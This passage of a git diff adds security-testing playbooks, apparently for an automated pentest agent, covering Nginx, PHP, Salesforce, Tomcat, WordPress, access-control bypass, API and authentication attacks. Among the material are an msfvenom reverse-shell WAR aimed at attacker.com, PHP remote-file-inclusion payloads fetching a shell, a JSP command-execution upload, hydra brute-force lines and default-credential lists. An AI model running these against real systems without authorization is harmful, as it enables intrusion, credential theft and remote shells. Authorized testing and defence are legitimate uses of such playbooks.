+ +# X-Accel-Redirect abuse +# If app sets X-Accel-Redirect header, Nginx serves that file +# Test: can you make app return X-Accel-Redirect: /etc/passwd? +``` + +### CRLF in Headers +``` +# Nginx may not sanitize all headers +# Test CRLF injection in user-controlled headers +# See crlf_injection.md +``` + +### Autoindex +``` +# Autoindex on = directory listing enabled +location /uploads { + autoindex on; +} + +# Test: GET /uploads/ → should NOT show directory listing +# If enabled → can list all uploaded files +``` + +### Exposed Sensitive Files +``` +# Test common exposed files: +/.git/ → source code +/.env → environment variables +/nginx.conf → configuration +/.htpasswd → basic auth credentials +/wp-config.php → WordPress config + +# Check nginx default error pages for version disclosure +# Nginx/1.x.x in Server header +curl -I https://target.com +``` + +### HTTP Header Injection via Nginx Proxy +``` +# Nginx may forward certain headers to backend +# Test: does Nginx forward X-Forwarded-For? X-Real-IP? +# Can we inject headers through Nginx to backend? +``` + +## Server-Side Request Forgery via Nginx +``` +# If Nginx configured as forward proxy (rare but exists) +GET http://internal-service:8080/admin HTTP/1.1 +Host: target.com + +# If `resolver` directive allows internal DNS resolution +``` + +## Nginx Server-Side Includes (SSI) +``` +# If SSI enabled: + + + +# Check if enabled: check response for SSI processing +# Try in file uploads, user-generated content +``` + +## HTTP/2 Specific +``` +# H2C upgrade attacks +# Request smuggling via HTTP/2 to HTTP/1.1 downgrade +# See http_request_smuggling.md +``` + +## Nginx Status Page +``` +# Exposed status module: +GET /nginx_status → shows connections, requests +GET /status + +# May reveal internal IP addresses, request counts +``` + +## Testing Methodology +1. Check Nginx version (Server header, error pages) +2. Test alias traversal (off-by-slash) +3. Check for autoindex on sensitive directories +4. Look for exposed sensitive files +5. Test CRLF injection +6. Check if internal locations are accessible +7. Look for /nginx_status exposure +8. Test SSI if applicable +9. Check proxy_pass configurations for SSRF + +## Tools +- `nikto` for common misconfigurations +- `nuclei -t nginx/` templates +- Manual testing with Burp Suite +- `nginx-lint` for config analysis diff --git a/strix/skills/technologies/php_security.md b/strix/skills/technologies/php_security.md new file mode 100644 index 00000000..16c65946 --- /dev/null +++ b/strix/skills/technologies/php_security.md @@ -0,0 +1,176 @@ +# PHP Security Testing + +## Overview +PHP-specific vulnerability testing including type juggling, code injection, deserialization, and common misconfigurations. + +## PHP Type Juggling +``` +# PHP loose comparison (==) vs strict (===) +# Magic hashes - MD5 hash starts with "0e" +0e123 == 0e456 == 0 (scientific notation, both equal to 0) + +# Known magic hashes: +# MD5("240610708") = 0e462097431906509019562988736854 +# MD5("QNKCDZO") = 0e830400451993494058024219903391 +# SHA1("aaroZmOk") = 0e66507019969427134894567494305185566735 + +# Attack: if MD5(user_input) == MD5(stored_hash) with == +# Provide "240610708" as password for any account using magic hash + +# Other type juggling: +"1 malicious" == 1 → true +"0abc" == 0 → true (in old PHP < 8.0) +null == false == 0 == "" == "0" + +# Array bypass +md5(array()) = null +sha1(array()) = null +strcmp(array(), "string") = 0 (vulnerable strcmp bypass) +``` + +## PHP Remote Code Execution + +### Code Injection +``` +# eval() injection +eval("$var = " . user_input . ";") +preg_replace('/(.+)/e', user_input, 'match') # /e flag deprecated but old code + +# system/exec injection +system("cmd " . user_input) +exec("ls " . user_input) +passthru("cat " . user_input) +shell_exec("id " . user_input) +popen("cmd " . user_input, 'r') +proc_open with user input +``` + +### PHP File Inclusion +``` +# Local File Inclusion +include($_GET['page']) +require($_GET['template'] . '.php') + +# Common LFI payloads: +?page=../../../../etc/passwd +?page=../../../proc/self/environ +?page=../../../var/log/apache2/access.log (log poisoning → RCE) + +# PHP filters for LFI: +?page=php://filter/convert.base64-encode/resource=config.php +?page=php://filter/read=string.rot13/resource=index.php + +# Remote File Inclusion (if allow_url_include=On) +?page=http://attacker.com/shell.php +?page=ftp://attacker.com/shell.php + +# PHP input stream +?page=php://input +POST body: + +# Data URI +?page=data://text/plain, +?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg== +``` + +### PHP Deserialization +``` +# See deserialization.md for full details +# PHP unserialize() on user input +# Look for serialized data: O:4:"User":1:{s:4:"name";s:5:"admin";} +# Use PHPGGC for gadget chains +``` + +## PHP Information Disclosure +``` +# phpinfo() exposure +/phpinfo.php, /info.php, /php_info.php, /test.php +# Reveals: PHP version, configuration, environment variables, loaded modules + +# Error messages +# display_errors = On → full stack traces +# Set invalid input to trigger errors + +# Source code disclosure +/.php.bak, /index.php~, /index.php.old +# Backup files with .bak, .orig, .old, ~ suffix + +# .php.swp (vim swap file) +/.index.php.swp +``` + +## PHP Session Handling +``` +# Default session files +/tmp/sess_SESSIONID +/var/lib/php/sessions/sess_SESSIONID + +# Session injection via LFI: +1. Find LFI vulnerability +2. Log malicious PHP in session: Set-Cookie with PHP code +3. Include session file via LFI → RCE + +# Session file path +PHPSESSID value → /tmp/sess_[PHPSESSID] +``` + +## PHP Object Injection +``` +# Vulnerable code: unserialize($_COOKIE['data']) +# Craft malicious serialized object + +# Common gadget chain targets: +# Guzzle, Symfony, Laravel, Monolog, Doctrine + +# PHPGGC (PHP Generic Gadget Chains) +phpggc Laravel/RCE7 system id +phpggc Symfony/RCE4 system id -b # base64 encoded +phpggc Monolog/RCE1 system id +``` + +## PHP Specific Bypasses +``` +# Null byte (PHP < 5.3.4) +../../etc/passwd%00.jpg + +# Array as input to bypass type checks +password[]=bypass + +# Excessive whitespace +" SELECT " == "SELECT" + +# PHP_EOL injection +# OS-specific line endings +``` + +## PHP Config Misconfigurations +``` +# Dangerous settings (check phpinfo): +allow_url_include = On → RFI possible +allow_url_fopen = On → URL fopen (SSRF risk) +display_errors = On → info disclosure +expose_php = On → version in headers +register_globals = On → variable injection (old) +magic_quotes_gpc = Off → injection easier + +# Dangerous functions to find in code: +eval, exec, system, passthru, shell_exec, popen, proc_open +preg_replace(/e), assert, create_function +``` + +## Testing Methodology +1. Identify PHP via headers (X-Powered-By) or phpinfo +2. Test for LFI in file/template/page parameters +3. Test for PHP filter wrappers +4. Test for RFI if allow_url_include detectable +5. Test type juggling in login/comparison logic +6. Check for exposed phpinfo.php +7. Look for backup source files +8. Test deserialization in cookies/parameters +9. Identify code injection via eval/system wrappers + +## Tools +- `nuclei -t php/` templates +- `PHPGGC` — PHP gadget chains +- `LFISuite` — LFI exploitation +- Burp Suite for interception diff --git a/strix/skills/technologies/salesforce.md b/strix/skills/technologies/salesforce.md new file mode 100644 index 00000000..bd5ad93e --- /dev/null +++ b/strix/skills/technologies/salesforce.md @@ -0,0 +1,173 @@ +# Salesforce Security Testing + +## Overview +Security testing for Salesforce applications including SOQL injection, Guest User access, and community/Experience Cloud vulnerabilities. + +## Reconnaissance +``` +# Salesforce detection +# Look for: force.com domains, salesforce.com references +# Login page: login.salesforce.com or custom domain +# Community/Experience Cloud: community.target.com, target.my.site.com + +# Salesforce instance URL format: +https://[INSTANCE].salesforce.com +https://[COMPANY].my.salesforce.com + +# API version discovery +GET /services/data/ → list all API versions +GET /services/data/v58.0/ → list resources for version +``` + +## Guest User Access (Unauthenticated) + +### Experience Cloud / Community +``` +# Guest user has limited Salesforce access +# Often misconfigured to expose too much + +# REST API as guest user: +GET /services/apexrest/YOUR_ENDPOINT +GET /services/data/v58.0/query?q=SELECT+Id,Name+FROM+Account + +# Check if guest profile has read on sensitive objects: +SELECT Id, Name, Email FROM Contact (guest user shouldn't see this) +SELECT Id, Name, Phone FROM Lead + +# Aura/Lightning endpoints +POST /aura +{"message":"...","aura.context":"...","aura.token":"..."} + +# LWC (Lightning Web Components) endpoints +GET /lwc/component +``` + +## SOQL Injection +``` +# Salesforce Object Query Language (like SQL) +# Injection in SOQL queries + +# Basic test +' OR '1'='1 +' UNION SELECT Id FROM User WHERE '1'='1 + +# Time-based blind (no UNION, limited syntax) +# SOQL has no sleep, but can use LIMIT and test responses + +# SOQL in Visualforce/Apex +# Often in search parameters, filter fields + +# Example vulnerable code: +String query = "SELECT Id FROM Account WHERE Name = '" + userInput + "'"; + +# Bypass with: +test' OR Name != ' + +# Extract user data: +test' OR Id IN (SELECT Id FROM User WHERE Profile.Name = 'System Administrator') OR Name = ' +``` + +## Salesforce Lightning / Aura +``` +# Aura component actions +POST /aura +{ + "message": { + "descriptor": "aura://ApexActionController/ACTION$execute", + "callingDescriptor": "UNKNOWN", + "params": { + "namespace": "", + "classname": "YourController", + "method": "methodName", + "params": {}, + "cacheable": false + } + } +} + +# Test with different classname/method combinations +# Check if authentication enforced on Apex controllers +``` + +## API Endpoints +``` +# REST API (requires OAuth token) +GET /services/data/v58.0/sobjects → list all objects +GET /services/data/v58.0/sobjects/Account/describe → schema +GET /services/data/v58.0/query?q=SELECT+Id,Name+FROM+User + +# Bulk API +GET /services/async/58.0/job + +# Streaming API +/cometd/58.0/ +``` + +## OAuth / Authentication +``` +# Salesforce OAuth flows +# Authorization endpoint: https://login.salesforce.com/services/oauth2/authorize +# Token endpoint: https://login.salesforce.com/services/oauth2/token + +# Connected App misconfiguration +# Overly permissive scopes +# No IP restrictions +# Refresh token abuse + +# Test: can client_credentials grant be used? +# Test: refresh token rotation disabled? +``` + +## SSRF via Salesforce +``` +# Apex callouts can make server-side HTTP requests +# If user can trigger Apex code with controlled URL → SSRF + +# Outbound messaging webhooks +# Formula fields with hyperlinks may fetch external URLs + +# Named credentials abuse +# Test if you can configure named credentials to internal URLs +``` + +## File Storage (Content/Attachments) +``` +# Salesforce Files / ContentDocument +GET /services/data/v58.0/sobjects/ContentDocument/[ID]/VersionData + +# Direct attachment access +# Check if files are accessible without authentication via static URLs + +# ContentDocumentLink to expose files +``` + +## Misconfigured Sharing Rules +``` +# Salesforce record access based on: +# - OWD (Organization-Wide Defaults) +# - Role hierarchy +# - Sharing rules +# - Manual sharing + +# Test IDOR: can you access records of other accounts? +GET /services/data/v58.0/sobjects/Account/[ANOTHER_ACCOUNT_ID] + +# Check OWD: if set to Public Read, all users can read all records of that type +``` + +## Testing Methodology +1. Identify Salesforce instance and communities +2. Test unauthenticated Guest User access to APIs +3. Test SOQL injection in search/filter parameters +4. Check Aura/Lightning component actions +5. Test for IDOR in record access (Account, Contact, Lead IDs) +6. Check file/attachment access controls +7. Test OAuth app configurations +8. Look for exposed Apex REST endpoints +9. Check sharing rules and OWD configuration + +## Tools +- Salesforce Inspector (browser extension) +- Burp Suite for API testing +- `nuclei -t salesforce/` templates +- Custom SOQL injection scripts diff --git a/strix/skills/technologies/tomcat.md b/strix/skills/technologies/tomcat.md new file mode 100644 index 00000000..487fe00b --- /dev/null +++ b/strix/skills/technologies/tomcat.md @@ -0,0 +1,136 @@ +# Apache Tomcat Security Testing + +## Overview +Security testing for Apache Tomcat application server including Manager app abuse, CVE exploitation, and configuration issues. + +## Reconnaissance +``` +# Tomcat detection +curl -I https://target.com +# Server: Apache-Coyote/1.1 or Apache Tomcat/X.Y.Z + +# Default error page reveals version +curl https://target.com/nonexistent → 404 with Tomcat version + +# Default ports +:8080 (HTTP), :8443 (HTTPS), :8009 (AJP), :8005 (shutdown) + +# Manager app locations +/manager/html → GUI manager +/manager/text → Text-based manager +/host-manager/html → Virtual host manager +``` + +## Default Credentials +``` +# manager-gui credentials +admin:admin, admin:password, tomcat:tomcat, tomcat:s3cret +manager:manager, admin:s3cret, role1:role1 + +# tomcat-users.xml (if accessible) +curl https://target.com/manager/html +# Try default creds + +# Brute force +hydra -l admin -P /usr/share/wordlists/rockyou.txt https://target.com http-get /manager/html +``` + +## Remote Code Execution via Manager + +### WAR File Upload +``` +# Generate malicious WAR +msfvenom -p java/jsp_shell_reverse_tcp LHOST=attacker.com LPORT=4444 -f war > shell.war + +# Upload via Manager GUI +# Or via curl: +curl -u admin:admin -T shell.war http://target.com/manager/text/deploy?path=/shell + +# Access the shell +curl http://target.com/shell/ + +# Alternatively: JSP webshell in WAR +# Create WEB-INF/web.xml + shell.jsp → zip as .war +``` + +### CVE-2020-1938 (Ghostcat) - AJP SSRF/LFI +``` +# AJP port (8009) - read local files or SSRF +# Using Ghostcat exploit: +python3 ghostcat.py -H target.com -p 8009 -f /WEB-INF/web.xml + +# Can read any file in webapp: +python3 ghostcat.py -H target.com -f /WEB-INF/web.xml +python3 ghostcat.py -H target.com -f /etc/passwd + +# If AJP accessible and file upload possible → RCE +``` + +### CVE-2017-12617 - PUT Method JSP Upload +``` +# Tomcat 7.0.0 - 7.0.81, 8.5.0 - 8.5.22 +# PUT method enabled without proper restriction +PUT /upload.jsp/ HTTP/1.1 +<%out.println("test");Runtime rt = Runtime.getRuntime();String[] commands = {"id"};Process proc = rt.exec(commands);%> + +# Then access: +GET /upload.jsp +``` + +## Path Traversal +``` +# CVE-2020-13935: WebSocket path traversal +# Older CVEs for directory traversal: +GET /%2e%2e/%2e%2e/WEB-INF/web.xml +GET /..;/manager/html → bypass filter on /manager access + +# Semicolon bypass (Tomcat path parameter confusion) +GET /admin;.css/secret +GET /admin;jsessionid=AAAAAA/secret +``` + +## Session Fixation via JSessionID +``` +# Tomcat uses JSESSIONID +# Test if session ID in URL (/;jsessionid=) accepted +# Session fixation attack possible + +# Set session in URL: +https://target.com/app/;jsessionid=ATTACKER_SESSION +``` + +## Information Disclosure +``` +# Manager status page (if not authenticated) +GET /manager/status +GET /manager/status/all + +# Server status +GET /server-status (if Apache in front) + +# Error pages with stack traces +# Verbose error messages + +# Exposed configuration +WEB-INF/web.xml → via path traversal or misconfig +WEB-INF/applicationContext.xml +META-INF/context.xml (database credentials) +``` + +## Testing Methodology +1. Detect Tomcat and identify version +2. Test default paths: /manager/html, /host-manager/html +3. Try default credentials +4. Check for AJP port (8009) — Ghostcat if open +5. Test PUT method for WAR/JSP upload +6. Check path traversal to WEB-INF files +7. Test semicolon bypass for path restrictions +8. Check for known CVEs based on version +9. Test error handling for information disclosure + +## Tools +- `nuclei -t tomcat/` templates +- `ghostcat` exploit for CVE-2020-1938 +- `msfvenom` for WAR generation +- Metasploit tomcat_mgr_deploy +- `nikto` for basic scanning diff --git a/strix/skills/technologies/wordpress.md b/strix/skills/technologies/wordpress.md new file mode 100644 index 00000000..83516d8a --- /dev/null +++ b/strix/skills/technologies/wordpress.md @@ -0,0 +1,168 @@ +# WordPress Security Testing + +## Overview +Security testing methodology for WordPress installations including core, plugins, themes, and configuration. + +## Reconnaissance +``` +# Detect WordPress +curl -s https://target.com/ | grep -i "wp-content\|wp-includes\|wordpress" +whatweb target.com + +# Version detection +curl -s https://target.com/readme.html +curl -s https://target.com/wp-includes/version.php +curl -s "https://target.com/?v=" | grep "generator" + + +# Enumerate users +https://target.com/?author=1 → redirects to /author/username +https://target.com/wp-json/wp/v2/users → JSON user list (if public) +curl https://target.com/wp-json/wp/v2/users + +# WPScan +wpscan --url https://target.com --enumerate u,p,t --api-token TOKEN +``` + +## Authentication +``` +# Default login URL +/wp-login.php, /wp-admin/, /login, /admin + +# XML-RPC brute force (often less protected) +POST /xmlrpc.php +wp.getUsersBlogs +admin +password + +# Multicall brute force via XML-RPC: +system.multicall with hundreds of login attempts in one request + +# Disable XML-RPC check: +curl -s https://target.com/xmlrpc.php +# 405 or 403 = disabled, 200 = enabled +``` + +## Plugin Vulnerabilities +``` +# Enumerate installed plugins +curl -s https://target.com/wp-content/plugins/ +# Check readme.txt for version: +curl -s https://target.com/wp-content/plugins/PLUGIN_NAME/readme.txt + +# Common vulnerable plugins (check CVE DB for current): +# File Manager, Duplicator, Contact Form 7, WooCommerce +# Ninja Forms, Elementor, WPForms, Yoast SEO + +# CVE search +site:cve.mitre.org "wordpress plugin PLUGIN_NAME" +wpscan --url target.com --enumerate p --plugins-detection aggressive +``` + +## Theme Vulnerabilities +``` +# Enumerate themes +curl -s https://target.com/wp-content/themes/ +# Check style.css for version +curl -s https://target.com/wp-content/themes/THEME/style.css + +# Common theme vulnerabilities: LFI, XSS, CSRF, SQLi +``` + +## Core Vulnerabilities +``` +# Check WordPress version against known CVEs +# /wp-includes/version.php +# WordPress security advisories: wordpress.org/news/category/security/ +``` + +## Information Disclosure +``` +# Debug mode: wp-config.php with WP_DEBUG=true +# Exposed wp-config.php backup: +/wp-config.php.bak, /wp-config.bak, /wp-config~, /.wp-config.php.swp + +# Server info disclosure +/wp-cron.php — cron script (may reveal timing) +/license.txt — version disclosure +/readme.html — version disclosure + +# Debug log exposure +/wp-content/debug.log + +# phpinfo via WP +/wp-content/plugins/phpinfo/ +``` + +## File Upload via Media +``` +# Admin → Media → Add New +# Upload PHP disguised as image +# Content-Type: image/jpeg with .php extension + +# WordPress may allow certain MIME types +# SVG upload → XSS +# XML/XLST → XXE +``` + +## REST API Attacks +``` +# Unauthenticated access +GET /wp-json/wp/v2/users → user enumeration +GET /wp-json/wp/v2/posts → post content +GET /wp-json/wp/v2/media → media files + +# Create posts/pages (if author permissions) +POST /wp-json/wp/v2/posts +Authorization: Basic base64(user:pass) + +# Disable REST API check: +curl https://target.com/wp-json/ +``` + +## SQL Injection via WP +``` +# orderby parameter in search +?s=test&orderby=rand() -- - + +# WP plugin SQLi (many plugins have vulnerable query params) +# Check each plugin's parameters for SQLi +``` + +## SSRF via WordPress +``` +# WordPress pingback feature +POST /xmlrpc.php +pingback.ping +http://attacker.com/ +https://target.com/some-post/ + +# WordPress autodiscovery feature +# fetch_feed() — SSRF potential if URL is user-controlled +``` + +## Privilege Escalation +``` +# Register as subscriber → escalate to admin +# User role manipulation via user meta +# wp_capabilities meta field +# IDOR in user profile update +``` + +## Testing Methodology +1. Run wpscan for comprehensive enumeration +2. Check WordPress version vs CVE database +3. Enumerate users (author scan, REST API) +4. Test authentication (brute force, XML-RPC) +5. Identify all installed plugins and themes +6. Check plugin/theme versions vs CVE database +7. Test REST API endpoints +8. Check for information disclosure files +9. Test file upload functionality +10. Check XML-RPC pingback for SSRF + +## Tools +- `wpscan` — WordPress scanner +- `wp-cli` — WordPress CLI (if server access) +- Burp Suite for manual testing +- `nuclei -t wordpress/` templates diff --git a/strix/skills/vulnerabilities/403_401_bypass.md b/strix/skills/vulnerabilities/403_401_bypass.md new file mode 100644 index 00000000..38d1bbd2 --- /dev/null +++ b/strix/skills/vulnerabilities/403_401_bypass.md @@ -0,0 +1,147 @@ +# 403/401 Bypass Techniques + +## Overview +Techniques to bypass access control responses (403 Forbidden, 401 Unauthorized) and gain access to restricted resources. + +## Path Manipulation +``` +# Add path variations +/admin → /admin/ +/admin → /admin/. +/admin → /admin/./ +/admin → /admin// +/admin → //admin +/admin → /./admin +/admin → /%2fadmin +/admin → /admin%20 +/admin → /admin%09 + +# Case variations +/admin → /Admin → /ADMIN → /aDmIn + +# Extension tricks +/admin → /admin.html +/admin → /admin.php +/admin → /admin.json +/admin → /admin;.js + +# Null byte +/admin%00 +/admin%00.html +``` + +## HTTP Method Override +``` +# Change request method +GET /admin → POST /admin +GET /admin → PUT /admin +GET /admin → HEAD /admin +GET /admin → OPTIONS /admin + +# Method override headers +X-HTTP-Method-Override: GET +X-Method-Override: GET +X-Original-Method: GET +_method=GET (body parameter) +``` + +## IP/Host Header Spoofing +``` +# Internal IP bypass +X-Forwarded-For: 127.0.0.1 +X-Forwarded-For: 192.168.1.1 +X-Forwarded-For: 10.0.0.1 +X-Real-IP: 127.0.0.1 +X-Originating-IP: 127.0.0.1 +X-Remote-IP: 127.0.0.1 +X-Client-IP: 127.0.0.1 +True-Client-IP: 127.0.0.1 +CF-Connecting-IP: 127.0.0.1 +Forwarded: for=127.0.0.1 +X-Custom-IP-Authorization: 127.0.0.1 + +# Host header variations +Host: localhost +Host: 127.0.0.1 +Host: internal.target.com +``` + +## Protocol & Version Tricks +``` +# HTTP version change +HTTP/1.0 vs HTTP/1.1 vs HTTP/2 + +# Protocol scheme +http:// → https:// +``` + +## Header-Based Bypass +``` +# Referrer bypass +Referer: https://target.com/admin +Referer: https://target.com/ + +# Content-Type +Content-Type: application/json +Content-Type: text/html + +# Accept header +Accept: application/json + +# Custom headers that might whitelist +X-Custom-Header: internal +X-Internal: 1 +X-Admin: true +X-Debug: true +Authorization: Basic YWRtaW46YWRtaW4= (admin:admin) +``` + +## URL Encoding +``` +/admin → /%61dmin +/admin → /a%64min +/admin → /%61%64%6d%69%6e + +# Double encoding +/admin → /%2561dmin +``` + +## Dot-Segment Tricks +``` +/forbidden/../forbidden +/forbidden/./ +/forbidden/..;/ +/admin/..;/settings +``` + +## Cookie/Session Manipulation +``` +# Try empty, null, or tampered auth tokens +Authorization: Bearer +Authorization: Bearer null +Authorization: Bearer undefined +Cookie: session= + +# Role parameter manipulation +role=admin&role=user +isAdmin=true +userType=admin +``` + +## Testing Methodology +1. Identify 403/401 endpoint +2. Try all path variations +3. Try all header bypasses +4. Test HTTP method overrides +5. Test IP spoofing headers +6. Try URL encoding variations +7. Test with different Content-Types +8. Check for cache poisoning opportunity +9. Look for parameter-based access (debug=true, admin=1) +10. Test with valid tokens from lower-privilege accounts + +## Tools +- Burp Suite Intruder with 403/401 bypass wordlist +- `byp4xx` tool +- `403-bypass` nuclei templates +- ffuf with header fuzzing diff --git a/strix/skills/vulnerabilities/api_testing.md b/strix/skills/vulnerabilities/api_testing.md new file mode 100644 index 00000000..0991010a --- /dev/null +++ b/strix/skills/vulnerabilities/api_testing.md @@ -0,0 +1,187 @@ +# API Security Testing + +## Overview +Comprehensive API security testing methodology covering REST, GraphQL, WebSocket, and other API types. + +## API Discovery +``` +# Common API paths +/api/v1/, /api/v2/, /v1/, /v2/, /rest/, /service/ +/api/, /api/docs, /api/swagger, /api/openapi +/.well-known/, /graphql, /graphql/playground + +# Swagger/OpenAPI discovery +/swagger.json, /swagger.yaml, /openapi.json, /openapi.yaml +/swagger-ui.html, /api-docs, /docs/api + +# JavaScript analysis for API endpoints +grep -E "(api|endpoint|url|path|route)" app.js +``` + +## Authentication Testing +``` +# Test without auth token +# Test with invalid token +# Test with expired token +# Test with token from different user +# Test with empty Authorization header +Authorization: Bearer +Authorization: Bearer null +Authorization: Bearer undefined + +# Token in wrong location +# If token in header, try in query: ?token=... +# If token in cookie, try in header + +# JWT-specific: see jwt.md +``` + +## Authorization Testing (IDOR) +``` +# Horizontal privilege escalation +GET /api/users/123/profile → change to /api/users/124/profile +GET /api/orders/ABC123 → enumerate other orders + +# Vertical privilege escalation +GET /api/user/settings → try /api/admin/settings +POST /api/user/update → try /api/admin/update + +# HTTP method tampering +GET /api/resource/1 (allowed) → POST /api/resource/1 (should be restricted) +``` + +## Input Validation +``` +# Injection in all parameters +# SQL injection in IDs: id=1' or 1=1-- +# NoSQL injection: id[$ne]=null +# Command injection: name=test;id +# XSS in string fields +# Path traversal: path=../../etc/passwd + +# Type confusion +# String where integer expected: id="abc" +# Negative values: quantity=-1, amount=-100 +# Zero values: price=0 +# Very large values: 999999999999 +``` + +## REST API Specific Tests +``` +# HTTP Methods +OPTIONS /api/resource → lists allowed methods +# Test all methods: GET, POST, PUT, PATCH, DELETE, HEAD, TRACE, CONNECT + +# Status code testing +# 200 vs 403 vs 404 reveals existence of resource +# 401 vs 403: 401 = not authenticated, 403 = not authorized + +# Content negotiation +Content-Type: application/json → try application/xml, text/html +Accept: application/json → try application/xml + +# Versioning attacks +/api/v1/ vs /api/v2/ → old version may lack security controls +``` + +## Mass Assignment +``` +# Add privileged fields to POST/PUT/PATCH body +{"username": "user", "role": "admin"} +{"email": "user@x.com", "isAdmin": true, "isPremium": true} +{"amount": 100, "discount": 99} + +# JSON parameter pollution +{"id":1,"id":2} # which takes precedence? +``` + +## Rate Limiting +``` +# Test all endpoints for rate limiting +# Authentication endpoint (login, register, reset) +# API endpoint limits (requests/minute/hour) +# See rate_limit_bypass.md +``` + +## API Versioning Abuse +``` +# Old API versions often less secured +# Try: v1, v2, v3... and internal versions +/api/v1/admin → /api/v0/admin (older, less restrictive?) +/api/internal/admin +/api/beta/admin +``` + +## GraphQL Testing +``` +# See protocols/graphql.md for detailed GraphQL testing +# Quick tests: +# Introspection: {"query":"{__schema{types{name}}}"} +# Batch queries for rate limit bypass +# Nested queries for DoS +``` + +## Error Message Analysis +``` +# Extract information from error messages +# Stack traces, database errors, file paths +# Internal service names, versions +# SQL queries in error messages + +# Test with: +- Invalid data types +- Null/empty values +- Very long inputs +- Special characters +``` + +## CORS Testing +``` +# See cors_misconfiguration.md +# Quick test: add Origin: https://attacker.com +# Check: Access-Control-Allow-Origin header in response +# Check: Access-Control-Allow-Credentials: true +``` + +## API Key Testing +``` +# Check if API key is truly required +# Test with expired/invalid keys +# Test key rotation (old key still works?) +# Check key scope (does user key work for admin endpoints?) +# Test key in different locations: header, query param, body +``` + +## Pagination & Data Exposure +``` +# Over-fetching: request all records +?limit=99999&offset=0 +?page_size=1000 + +# Negative pagination +?limit=-1&offset=-1 +?page=-1 + +# Check if sorting/filtering exposes hidden fields +?sort=secret_field +?filter[secret]=value +``` + +## Testing Methodology +1. Map all API endpoints (from JS, Swagger, responses) +2. Test authentication on each endpoint +3. Test authorization (IDOR) on each endpoint +4. Test HTTP methods on each endpoint +5. Inject in all parameters +6. Test mass assignment +7. Check CORS configuration +8. Test rate limiting +9. Analyze error messages +10. Test API versioning + +## Tools +- Postman / Insomnia for manual testing +- `ffuf` for endpoint fuzzing +- Burp Suite for interception and scanning +- `arjun` for parameter discovery +- `kiterunner` for API wordlist scanning diff --git a/strix/skills/vulnerabilities/authentication.md b/strix/skills/vulnerabilities/authentication.md new file mode 100644 index 00000000..68a18199 --- /dev/null +++ b/strix/skills/vulnerabilities/authentication.md @@ -0,0 +1,175 @@ +# Authentication Vulnerabilities + +## Overview +Authentication bypass, credential attacks, and session management flaws beyond JWT and MFA-specific coverage. + +## Username Enumeration +``` +# Different error messages +"Invalid username" vs "Invalid password" → confirms valid usernames + +# Response timing +Valid username → slower (password hash check) +Invalid username → faster (early return) + +# Response length/content differences +# HTTP status codes: 200 vs 302 vs 401 vs 403 + +# Common endpoints to test: +/login, /register, /forgot-password, /api/auth/check-email +``` + +## Brute Force Attacks +``` +# Credential stuffing with leaked database +hydra -L users.txt -P passwords.txt https://target.com/login + +# Password spraying (common passwords against all users) +# Avoids account lockout per-user +# One password attempted against many users + +# Default credentials +admin:admin, admin:password, admin:123456 +root:root, test:test, guest:guest +admin:admin123, user:user, operator:operator + +# Application-specific defaults +# Jenkins: admin:admin +# Tomcat: admin:admin, tomcat:tomcat, manager:manager +# WordPress: admin:admin +``` + +## Authentication Bypass + +### Parameter Manipulation +``` +# Add success indicators +?authenticated=true +?admin=true +?role=admin + +# POST body manipulation +{"username":"admin","password":"wrong","authenticated":true} +{"username":"admin","password":"","loggedIn":"true"} + +# Response manipulation +# {"success":false} → {"success":true} +# HTTP 401 → change to 200 in response +``` + +### SQL Injection in Login +``` +# Classic bypass +username: admin'-- +username: ' OR '1'='1'-- +username: ' OR 1=1-- +password: anything + +# With comment variations +admin'/* +admin' -- - +' OR 1=1# +``` + +### Multi-Step Auth Bypass +``` +# Skip steps in multi-step auth +# Step 1: /login (username/password) +# Step 2: /verify-otp +# Step 3: /dashboard + +# Try accessing /dashboard directly after step 1 +# Try posting to step 2 without completing step 1 +``` + +## Session Management Attacks + +### Session Prediction +``` +# Analyze session tokens for patterns +# Sequential: SESS001, SESS002 → enumerate +# Time-based: base64(timestamp) → predict +# Weak random: short token → brute force + +# Burp Sequencer to analyze randomness +``` + +### Session Fixation +``` +# See cookie_attacks.md +# Test: does session ID change after login? +# If same before/after → session fixation vulnerable +``` + +### Concurrent Session +``` +# Test if same account can be logged in from multiple locations +# Some apps don't invalidate old sessions on new login +# Can still use old session after password change? +``` + +## Password Policy Bypass +``` +# Test weak password requirements +# Try: a, 1, aa, password, 12345678 + +# Test if policy enforced on: +- Initial registration +- Password change +- Password reset (often less strict) +- API endpoint + +# Non-printable characters +# Unicode in passwords +# Very long passwords (DoS via bcrypt) +password = "A" * 100000 # can cause server overload with bcrypt +``` + +## Remember Me / Persistent Sessions +``` +# Analyze remember_me token structure +# Is it predictable? +# Does it expire? +# Can it be used after password change? +# Is it invalidated on logout? +``` + +## Account Lockout Bypass +``` +# IP rotation to bypass per-IP lockout +# See rate_limit_bypass.md for header tricks + +# Username variations that might bypass lockout +Admin, ADMIN, admin, aDmIn (if normalized) +admin@target.com vs Admin@target.com + +# Lockout per-IP but not per-account? +# Distribute attack across many IPs (1 attempt per IP) + +# Test if lockout resets on successful login from other IP +``` + +## 2FA/MFA Bypass +``` +# See mfa_bypass.md for detailed coverage +``` + +## Social Authentication Bypass +``` +# If app has both native and OAuth login: +# Register via OAuth with victim email +# May bypass password entirely if email trusted + +# Check if OAuth email is verified before linking +``` + +## Testing Methodology +1. Test username enumeration (errors, timing, responses) +2. Test brute force protections (lockout, CAPTCHA) +3. Test with common/default credentials +4. Test authentication bypass (parameter, SQL injection) +5. Analyze session token entropy and predictability +6. Test session fixation +7. Test multi-step auth flow (step skipping) +8. Test remember me functionality +9. Test concurrent sessions and session invalidation diff --git a/strix/skills/vulnerabilities/cache_poisoning.md b/strix/skills/vulnerabilities/cache_poisoning.md new file mode 100644 index 00000000..eb9b5a49 --- /dev/null +++ b/strix/skills/vulnerabilities/cache_poisoning.md @@ -0,0 +1,114 @@ +# Cache Poisoning + +## Overview +Web cache poisoning uses unkeyed inputs to store malicious responses in shared caches, serving them to other users. + +## Core Concept +``` +Cache key = typically: Host + Path + Query string +Unkeyed inputs = headers/params that affect response but NOT the cache key +→ Poison cache with malicious unkeyed input → served to all users requesting same key +``` + +## Finding Unkeyed Inputs +``` +# Use Param Miner (Burp extension) to discover unkeyed headers/params +# Common unkeyed headers: +X-Forwarded-Host +X-Forwarded-Scheme +X-Forwarded-For +X-Host +X-Original-URL +X-Rewrite-URL +X-Original-Forwarded-For +Forwarded +``` + +## Cache Poisoning via X-Forwarded-Host +``` +# If server uses X-Forwarded-Host for generating URLs in response +GET / HTTP/1.1 +Host: target.com 